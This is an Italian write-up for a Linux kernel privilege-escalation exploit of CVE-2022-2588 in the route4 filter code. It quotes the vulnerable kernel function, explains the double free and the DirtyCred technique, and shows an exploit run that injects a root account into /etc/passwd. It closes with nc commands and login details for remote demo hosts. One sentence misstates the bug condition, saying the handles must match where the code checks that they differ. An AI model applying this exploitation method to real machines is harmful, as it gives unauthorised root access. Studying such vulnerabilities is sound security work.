
exploit per CVE-2022-2588
Il bug è stato corretto in Linux v5.19 da questo commit.
Il bug è stato introdotto in Linux v3.17 da questo commit nel 2014. Richiede User Namespaces per essere attivato. Questo bug è molto simile a CVE-2021-3715, causato da un'operazione impropria sulla lista collegata di route4_filter. Maggiori dettagli su CVE-2021-3715 sono disponibili nel talk blackhat (pagina 16). Di seguito alcuni brevi dettagli su CVE-2022-2588.
Qui di seguito sono mostrati alcuni importanti frammenti di codice della funzione route4_change per comprendere CVE-2022-2588.
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
La funzione è implementata per inizializzare/sostituire l'oggetto route4_filter. Il filtro usa handle come identificatore univoco per distinguere ogni filtro. Se esiste un handle già inizializzato in precedenza (cioè la variabile fold non è nulla), il filtro viene aggiornato rimuovendo il vecchio filtro e aggiungendone uno nuovo; altrimenti viene semplicemente aggiunto un nuovo filtro.
In [0], il kernel alloca l'oggetto route4_filter. In [1], se fold non è vuoto, significa che esiste un filtro con lo stesso handle: vengono copiate alcune informazioni nel nuovo filtro che viene poi inizializzato in [2] e inserito nella lista in [3]. Se il vecchio filtro esiste, viene rimosso dalla lista in [4] e liberato in [6].
Il bug si verifica in [4], dove si controlla se esiste un vecchio filtro da rimuovere. La condizione richiede che l'handle non sia zero e che corrisponda all'handle del nuovo filtro. Questa condizione non è allineata con la condizione di liberazione del filtro in [6], che controlla solo se il vecchio filtro esiste. Pertanto, se un utente crea un filtro con handle 0 e poi ne attiva la sostituzione, il filtro non verrà rimosso dalla lista in [4] ma verrà liberato in [6], poiché le condizioni non sono le stesse.
Poiché questo bug è simile a CVE-2021-3715, le loro primitive sono quasi identiche. I lettori possono fare riferimento al talk blackhat per una descrizione più dettagliata delle primitive. Questo write-up mostra lo sfruttamento con l'idea di DirtyCred.
Poiché il fold liberato è ancora nella lista collegata dopo l'attivazione del bug, possiamo liberare fold una seconda volta, causando infine un double free sull'oggetto route4_filter e sull'oggetto route4_filter->exts.action se CONFIG_NET_CLS_ACT è abilitato.
I codici di exploit utilizzano queste due capacità di double free per dimostrare l'attacco sulle credenziali del task (sfruttando il double free di kmalloc-192, in arrivo) e sulle credenziali del file aperto (sfruttando il double free di kmalloc-256).
Seguendo l'idea di DirtyCred, il codice di exploit scambia la credenziale del file dopo i controlli di permesso, consentendo di scrivere qualsiasi contenuto in file con permesso di sola lettura. Idealmente, il codice funziona su tutte le versioni del kernel affette dal bug. Si noti che, per garantire il funzionamento su kernel più vecchi dove msg_msg è isolato in kmalloc-rcl-*, l'exploit utilizza un diverso oggetto di spray.
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
L'exploit è stato scritto per funzionare sul maggior numero possibile di distribuzioni. È stato confermato funzionante su:
(Sentitevi liberi di inviare una PR per aggiornare questa lista se scoprite che funziona su altri kernel.)
Effettua il login con utente low e password low
Ubuntu 20
nc 150.136.171.117 1337
Centos 8
nc 150.136.171.117 1338